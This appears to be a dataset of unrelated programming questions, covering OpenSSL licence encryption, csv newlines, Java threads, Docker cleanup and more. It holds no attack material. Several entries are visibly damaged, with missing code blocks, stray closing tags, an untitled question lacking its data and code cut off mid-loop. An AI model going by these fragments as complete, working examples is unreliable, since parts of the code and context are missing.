How to encrypt with both the private key and public key : <p>I have this bash script</p>
<pre><code>#generate key
openssl genrsa -out key.pem 2048
openssl rsa -in key.pem -text -noout
#save public key in pub.pem file
openssl rsa -in key.pem -pubout -out pub.pem
openssl rsa -in pub.pem -pubin -text -nout
#encrypt data
openssl rsautl -encrypt -inkey pub.pem -pubin -in license.json -out license_encrypted.json
#decrypt data
openssl rsautl -decrypt -inkey key.pem -in license_encrypted.json
</code></pre>
<p>In the code you can see I encrypt the file using the public key and decrypt using the private key, I need to know how to encrypt using both the private key and the public key. Is this possible. Should I decrypt using the private key or can idecrypt using the public key, this is in regards to software licenses I am trying to encrypt</p>

Python: force csv reader to include "\n"'s, instead of creating newline : While working on a Twitter scraping project recently, I noticed that tweets oftentimes have the newline character within them, `\n`, which correspond to linebreaks in the tweets.
In the `.csv` files I am creating, instead of deleting them, I would like to keep said `\n` characters, but `csv.writer` keeps interpreting them as new lines, and my `.csv`'s thus become littered with line-breaks everywhere.
I don't want to simply do `string.replace("\n", " ")` each time, as that is not efficient, and I have tried opening the csv with the following,
`with open(file_name, 'a', newline='\n') as f:`, but that does not seem to do the trick.
How could I tell the `csv.writer` to interpret as `\n`'s as literal strings, and keep them?

Included files, all or nothing? : <p>I have been writing code for a while, but I am not classically trained in computer science, so if this question is ridiculous, please go easy on me.</p>
<p>Something I have been trying to find a definitive answer on for a while is, if I #include a file in C, do I get the ENTIRE contents of the file linked in, or just the parts I use? If it has 10 functions in it, and I only use 1 of the functions, does the code for the other 9 functions get included in my executable? This is especially relevant for me right now as I am working on a micro-controller and memory is precious.</p>
<p>Thanks for any help with this question.</p>

Understanding JavaScript Object(value) : <p>I understand that the following code wraps a number into an object:</p>

<p>I therefore expect and understand the following:</p>

alert(x === 5); //false
</code></pre>
<p>However, I also understand that an object is a list of <strong>key/value pairs</strong>. So I would have expected the following to be different:</p>
<pre><code>alert(JSON.stringify(5)); //5
alert(JSON.stringify(x)); //5

<p>What does the structure of x look like? And why does it not appear to be in key/value pair format?</p>

Angular 2 with PHP backend design structure thoughts : <p>I have a huge project, which has grown over the years. I would like to change, change not refactor, from jQuery to Angular 2 in the frontend (this is not a question on refactor jQhery to Angular, which has been discussed a lot here. Also, I think it's not compareable).</p>
<p>Ok, first of all Angular 2 does not have controllers anymore in the meaning of AngularJS. So, we got only compontents. I think it would be the best way, to divide the page into header, content and footer components.</p>
<p>With the change to Angular 2 I would also change my backend to the Twig Rendering Engine. That wouldn't be a problem, because we can change the symbol of Twig e. g. from <code>{{</code> to <code><%</code> and <code>}}</code> to <code>%></code>. To clearify if it should be rendered on the frontend or the backend.</p>
<p>My question is: What is better? Rendering on the client / frontend or the backend? I Could use Twig (with an output buffer) for the main part and could it send back to the client via JSON, e. g.:</p>
<pre><code>{
header: {
error: false
},
view: // html escaped content here
}
</code></pre>
<p>In this way, I could get the data from the database and put it prerendered all together, which may contain directives which are rendered at the frontend.</p>
<p>On the other hand, I could use some static template partials (for loops etc.), which just set their values returned from JSON into that Angular 2 HTML Template. On that way, I would have huge rendering on client side. So, what are the thoughts of Angular 2 about that? I mean, I am not sure, if this is really a good thing for mobile clients like mobile phones or other thin clients. I am creating an responsive template, so I have to look after that criteria.</p>
<p>What do you think, what is better or how are you dealing with that?</p>

implementing Runnable acts different compared to extending Thread : I'm trying to learn how multithreading works. This is the example code I have:
public class Processor extends Thread {
private boolean running = true;
public void run() {
while (running) {
System.out.println("Hello there!");
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public void shutDown() {
running = false;
}
}
public class ProcessorDemo {
public static void main(String[] args) {
Processor proc1 = new Processor();
proc1.start();
System.out.println("Press return to stop");
Scanner sc = new Scanner(System.in);
sc.nextLine();
proc1.shutDown();
}
}
The problem occurs, when I implement Runnable instead of extending Thread - the code difference
public class Processor implements Runnable
// in ProcessorDemo
Thread proc1 = new Thread(new Processor());
What happens is, the code gives an error, saying:
"The method shutDown() is undefined for the type Thread"
Why is this happening, when both ways of creating Threads should give the same result?
Thanks everyone :)

?search not working on json : I am new to json and APIs.
This particular dataset I am working with (https://api.cdnjs.com/libraries) is searchable by placing "?search=search_term" behind it (like: https://api.cdnjs.com/libraries?search=cloud). But when I use another json dataset (http://api.nobelprize.org/v1/prize.json for instance) it gives an error ({"error":"Using an unknown parameter"}). Does this have to do with how the datasets are set up? Methods perhaps? How do I make the other json searchable like that (so I can use it in my search app)

Python: From a text file, character by character create an array of strings : <p>The best way to explain:</p>
<ol>
<li>Program takes a text-file an examines character by character looking for double characters (ie 'ff'.</li>
</ol>
<p>I need to display the words that contain double characters.</p>
<p>I thought the best way to do this would be to form a list, of each character. When a double character is found and a space is reached (end of word) convert the contents of the list into a string, and place in a separate array. Then clear contents of the list.</p>
<p>If a space is reached before finding a double letter (word does not contain one) clear the list.</p>
<p>**Question: What is the best approach to this. I have tried to append character by character to the list, but when printing my list it is empty.</p>

How do numpy functions operate on pandas objects internally? : <p>Numpy functions, eg np.mean(), np.var(), etc, accept an array-like argument, like np.array, or list, etc.</p>
<p>But passing in a pandas dataframe also works. This means that a pandas dataframe can indeed disguise itself as a numpy array, which I find a little strange (despite knowing the fact that the underlying values of a df are indeed numpy arrays).</p>
<p>For an object to be an array-like, I thought that it should be slicable using integer indexing in the way a numpy array is sliced. So for instance df[1:3, 2:3] should work, but it would lead to an error. </p>
<p>So, possibly a dataframe gets <strong>converted</strong> into a numpy array when it goes inside the function. But if that is the case then why does np.mean(numpy_array) lead to a different result than that of np.mean(df)?</p>
<pre><code>a = np.random.rand(4,2)
a
Out[13]:
array([[ 0.86688862, 0.09682919],

Creating 1000 arrays and sorting them using the bubble and selection sort (C#) : <p>I am new to programming. C# is my first programming language. </p>
<p>I have an assignment where I have to create and test out a bubble sort algorithm and a selection sort algorithm using arrays. I think I understand those now. </p>
<p>The next part of the assignment I am having some trouble on. </p>
<p>I have to write a program that will ask the user for a number (n) and create 1000 arrays of n size. </p>
<p>So if the user enters 5 for the number, my program has to <em>create and sort</em> 1000 arrays that are of length 5. </p>
<p>I have to use the bubble sort and the selection sort methods I created. </p>
<p>After I do that, I have to initiate a variable called <em>running_time</em> to 0. I have to create a for loop that iterates 1000 times and in the body of the loop i have to create an array of n random integers. </p>
<p>Then I have to get the time and set this to the start time. My professor said to notice that the sort is started after each array is built, so I should time the sort process only. </p>
<p>Then I have to get the time and set it to end time. I have to subtract the start time from end time and add the result to the total time.</p>
<p>Once the program has run, note
1. the number of items sorted
2. the average running time for each array (total time/1000)</p>
<p>Then I have to repeat the process using 500, 2500, and 5000 as the size of the array. </p>
<p>This is my code for creating one array with n number of spaces and filled with random integers. </p>
<pre><code>//Asks the user for number
Console.WriteLine("Enter a number: ");
n = Convert.ToInt32(Console.ReadLine());
//Creates an array of the length of the user entered number
int[] randArray = new int[n];
//Brings in the random class so we can use it.
Random r = new Random();
Console.WriteLine("This is the array: ");
//For loop that will put in a random number for each spot in the array.
for (int i = 0; i < randArray.Length; i++) {
randArray[i] = r.Next(n);
Console.Write(randArray[i] + " ");
}
Console.WriteLine();
</code></pre>
<p>THIS IS MY CODE FOR THE BUBBLE SORT ALGORITHM:</p>
<pre><code>//Now performing bubble sort algorithm:
for (int j = 0; j <= randArray.Length - 2; j++) {
for (int x = 0; x <= randArray.Length - 2; x++) {
if (randArray[x] > randArray[x + 1]) {
temp = randArray[x + 1];
randArray[x + 1] = randArray[x];
randArray[x] = temp;
}
}
}
//For each loop that will print out the sorted array
foreach (int array in randArray) {
Console.Write(array + " ");
}
Console.WriteLine();
</code></pre>
<p>THIS IS MY CODE FOR THE SELECTION SORT ALGORITHM:</p>
<pre><code>//Now performing selection sort algorithm
for (int a = 0; a < randArray1.Length - 1; a++) {
minkey = a;
for (int b = a + 1; b < randArray1.Length; b++) {
if (randArray1[b] < randArray1[minkey]) {
minkey = b;
}
}
tempSS = randArray1[minkey];
randArray1[minkey] = randArray1[a];
randArray1[a] = tempSS;
}
//For loop that will print the array after it is sorted.
Console.WriteLine("This is the array after the selection sort algorithm.");
for (int c = 0; c < randArray1.Length; c++) {

<p>This is very overwhelming as I am new to this and I am still learning this language. </p>
<p>Can someone guide me on the beginning on how to create 1000 different arrays filled with random numbers and then the rest. I would appreciate it greatly. Thank you. </p>

how to use an asychronous swift firebase function : So basically I have a function that connects to firebase and gets data in the form of a string and returns a string(at least I think).
this question Is very simple and kind of a dumb question but how would I call this method in a different thread or core. Sorry don't really know the terms yet. I am trying.
also, I don't think it returns a String which I need so how would I accomplish that?
also this is not a duplicate because if you look at all these type of questions I have not found one that calls the actual method.
typealias someting = (String?) -> Void
func getOpposingUsername( _ index: Int, completionHandler: @escaping someting) {
var opposingUser: String = ""
self.datRef.child("Bets").child(self.tieBetToUser[index]).observe(.childAdded, with: { snapshot in
guard let dict = snapshot.value as? [String: AnyHashable] else {
return
}
opposingUser = dict["OpposingUsername"] as! String
if opposingUser.isEmpty {
completionHandler(nil)
} else {
completionHandler(opposingUser)
}
})
}

Varying intializer in 'for loop' c++ : int i=0;
for(; i<size-1; i++){
int temp = arr[i];
arr[i] = arr[i+1];
arr[i+1] = temp;
}
Here I started with the fist position of array. What if after the loop I need to execute the for loop again where the for loop starts with the next position of array.
Like for first `for loop` starts from: Array[0]
Second iteration: Array[1]
Third iteration: Array[2]
Example:
For array: 1 2 3 4 5
for i=0: 2 1 3 4 5, 2 3 1 4 5, 2 3 4 1 5, 2 3 4 5 1
for i=1: 1 3 2 4 5, 1 3 4 2 5, 1 3 4 5 2 so on.

Create a Kotlin library in Android Studio : <p>I am very new to both the Android and JVM platforms. Using Android Studio, I would like to create an Android app and put most of my business logic in a library. I would also like to just use Kotlin, no Java.</p>
<p>When I go to <code>File</code> > <code>New Module</code>, the options listed are</p>
<ul>
<li>Phone & Tablet module</li>
<li>Android Library</li>
<li>Instant App</li>
<li>Feature Module</li>
<li>Android Wear Module</li>
<li>Android TV Module</li>
<li>Android Things Module</li>
<li>Import Gradle Project</li>
<li>Import Eclipse ADT Project</li>
<li>Import .JAR/.AAR Package</li>
<li>Java Library</li>
</ul>
<p>I can create a Kotlin-based library with the <code>Android Library</code> option, but this also includes a lot of files for dealing with resources and controls.</p>
<p>I just want a pure Kotlin library. What is the easiest way to create one? </p>
<ul>
<li>Can I delete a portion of an Android Library? </li>
<li>Can I change some settings in a Java Library? </li>
<li>Can I download a plugin that will just give me the option to create a Kotlin library? </li>
</ul>
<p>I am still a bit confused the file organization in Java/Kotlin/Android projects.</p>

create a ui date picker in swift : I would like to create a date picker to allow users to make an appointment. The date picker should show 7 days ahead of the current day. And after the appointment is made, a notification will pop up showing that it is confirmed. The UI doesn't matter, something basic is fine. Is that possible? I've been searching online but i couldn't find anything that could help. Please help!

Regex to match until including or not including : I'm looking for a Regex to find a substring starting at A, stopping at either B or C; however, when it's B, it shouldn't include the B, but when it's C, it should include the C. For example this text: `XXAXXXXBXX`, then it should return `AXXXX` but when it's `XXAXXXXCXX` it should return `AXXXXC`. I already looked at positive lookahead and stuff, but it doesn't work so far. Anyone an idea?

Shared element transition leaves a strange white background between first activity and second transparent activity : <p>Recently I faced up with a weird problem.
I have two activities. The first one contains a grid with a thumbnails. A kind of a gallery. And the second one contains a view pager with fragments and behaves like an image viewer where you can slide between images.
I use a shared element transition to start the second activity. Just like Google Photo app. On the second activity I can swipe to top or bottom to dismiss the activity with a fade away transition of the background. I made my second activity fully transparent: </p>
<pre><code><item name="android:windowBackground">@color/palette_transparent</item>
<item name="android:colorBackgroundCacheHint">@null</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowAnimationStyle">@android:style/Animation</item>
</code></pre>
<p>But the problem is when I swipe an image to top/bottom and the second activity's background fades I can see a white background but not the first activity. If I start the second activity without shared element transition everything is fine. </p>
<p>I made a research and found out that this white layer probably overlays the first activity. It is not a part of the second activity as I can see in Stetho view hierarchy. </p>
<p>Probably my explanation is not very good neither my English language so here a couple of videos too clarify my problem.</p>
<p>Video <a href="https://www.youtube.com/watch?v=VSfa9TgpHCk" rel="noreferrer">Without transition</a> and Video <a href="https://www.youtube.com/watch?v=RACj8tgTMqI" rel="noreferrer">With transition</a></p>

how to implement the function delete of binary Search tree without recursivity in c language ? : Hello everybody i try to implement the delete method but that doesn't work

Changing Azure Resource Group location : <p>I have a setup in azure with a bunch of resources combined in a resource group. I want my services to be located in west-europe, so all my resources are there (where possible)</p>
<p>I just noticed that when creating the resource group, i accidentally used West US.</p>
<p>So the current setup is:</p>
<p>Resource Group 1 (West US)</p>
<ul>
<li>App Service 1 (West Europe)</li>
<li>App Service 2 (West Europe)</li>
<li>SQL Server (West Europe)</li>
<li>Storage account (West Europe)</li>
<li>... (West Europe)</li>
</ul>
<p>Can I change the location of the resource group without having to create a new one and migrate everyting?</p>
<p>And maybe more importantly: Should i change the location or does it not impact anything?</p>
<p>Thanks!</p>

Here i need to count the occurance of the src ip address where word=bnd0.
I should only consider the lines with value bnd0 other lines can be excluded.
My output should look like
123.456.5.444 - 2
123.456.5.234 - 3
123.456.5.775 - 2
I am new to shell script. I would really appreciate your input.

Guys, What's going wrong in this basic snippet : I was working on a personnal project when i found that something was going wrong in my code. After few minutes of debugging, i was able to tell what was wrong and how to workaround. But in fact i don't have resolved my original issue.
Look at this :
interface Animals {
id: number;
name: string;
color: string;
}
interface Zoo {
name: string;
animals: Animals[];
}
function main() {
let zoo: Zoo = {
name : "Valley of monkeys",
animals : [
{
id : 1,
name: "Foufou",
color: "brown"
},
{
id: 2,
name: "Toutou",
color: "brown"
},
{
id: 3,
name: "Moumou",
color: "blue"
}
]
};
let zoobis: Zoo;
zoobis = zoo;
console.log(zoobis);
console.log(zoo);
zoobis.animals = zoo.animals.filter((animal) => animal.color === "brown");
console.log("============");
console.log(zoobis);
console.log(zoo);
}
main();
Link to original code to test it : <http://www.typescriptlang.org/play/#src=interface%20Animals%20%7B%0D%0A%20%20%09id%3A%20number%3B%0D%0A%20%09name%3A%20string%3B%0D%0A%20%20%09color%3A%20string%3B%0D%0A%20%20%09%0D%0A%7D%0D%0A%0D%0Ainterface%20Zoo%20%7B%0D%0A%20%20%09name%3A%20string%3B%0D%0A%09animals%3A%20Animals%5B%5D%3B%0D%0A%7D%0D%0A%0D%0Afunction%20main()%20%7B%0D%0A%20%20%20%20let%20zoo%3A%20Zoo%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20name%20%3A%20%22Valley%20of%20monkeys%22%2C%0D%0A%20%20%20%20%20%20%20%20animals%20%3A%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20id%20%3A%201%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%22Foufouf%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20color%3A%20%22brown%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20id%3A%202%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%22Toutou%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20color%3A%20%22brown%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20id%3A%203%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%22Moumou%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20color%3A%20%22blue%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%0D%0A%20%20%7D%3B%0D%0A%20%20%0D%0A%20%20let%20zoobis%3A%20Zoo%3B%0D%0A%20%20%0D%0A%20%20zoobis%20%3D%20zoo%3B%0D%0A%20%20console.log(zoobis)%3B%0D%0A%20%20%0D%0A%20%20console.log(zoo)%3B%0D%0A%20%20zoobis.animals%20%3D%20zoo.animals.filter((animal)%20%3D%3E%20animal.color%20%3D%3D%3D%20%22brown%22)%3B%0D%0A%20%20%0D%0A%20%20console.log(%22%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%22)%3B%0D%0A%20%20console.log(zoobis)%3B%0D%0A%20%20console.log(zoo)%3B%0D%0A%7D%0D%0A%0D%0Amain()%3B>
As you can see there are two mains problems :
- The first one is that both arrays are modified ! Even though in the javascript official documentation, it specified that "filter() does not mutate the array on which it is called."
- The second one is that both arrays are modified before the call of filter which is weird actually.
The workaround is basically to convert "zoobis" into an Animal[] instead of taking the whole Zoo object. It seems to normally work in this way.
Am i misunderstanding a basic concept of javascript or am i doing stupid mistakes that makes my code doing weird things ?
Thank you ! :)

How to organise your go project in the right way? : I have problems setting up my first go project. I want to keep my packages out of my git repository.
```go get``` installs my packages by default in my ```/src``` folder. This way I can't simply ignore a folder to ignore all packages.
Can I install all my packages in for example ```/pkg``` and how would I do this? Is there a ```golang``` way of solving this issue?

dumb-init No such file or directory : <p>I am trying to use dumb-init to run a script that tests a jetty servlet in my docker container, but whenever I try to call dumb-init it fails with the message:</p>

</code></pre>
<p>But if I use bash instead of dumb-init it happily runs. The file exists and has the correct permissions. I even stripped out the execution and just left the bang and an echo statement and it fails the same way. The script looks like:</p>
<pre><code>#!/bin/dumb-init /bin/bash
echo "Tests Running!"

Unable to monitor event loop AND Wait for app to idle : <p>I am writing UITest cases for my app using XCTest. App makes several server calls in the homescreen. I could not navigate to next screen. Automation often stays idle for 1 min or even more than that with the message </p>
<blockquote>
<p>Wait for app to idle </p>
</blockquote>
<p>or</p>
<blockquote>
<p>Unable to monitor event loop</p>

<p>Is the there a way to make the app to execute my testCases breaking this ???</p>

Docker for Windows cleanup : <p>I'm using docker for Windows to launch a MSSQL server. Everything is working fine except for the fact that my harddrive is now full. I've used all the cleanup commands that docker has, removing all images and containers:</p>
<pre><code>docker kill $(docker ps -q)
docker rm $(docker ps -a -q)
docker rmi $(docker images -q -f dangling=true)
docker rmi $(docker images -q)
</code></pre>
<p>This will not remove any contents in the c:\ProgramData\Docker\windowsfilter folder, where there are still a lot of file. Roughly 130gb worth's of storage, without any running containers or stored images.</p>

<p>I tried to use the docker-ci-zap (<a href="https://github.com/jhowardmsft/docker-ci-zap" rel="noreferrer">https://github.com/jhowardmsft/docker-ci-zap</a>) , but running that tool is not recommended so I would rather use an alternative solution </p>
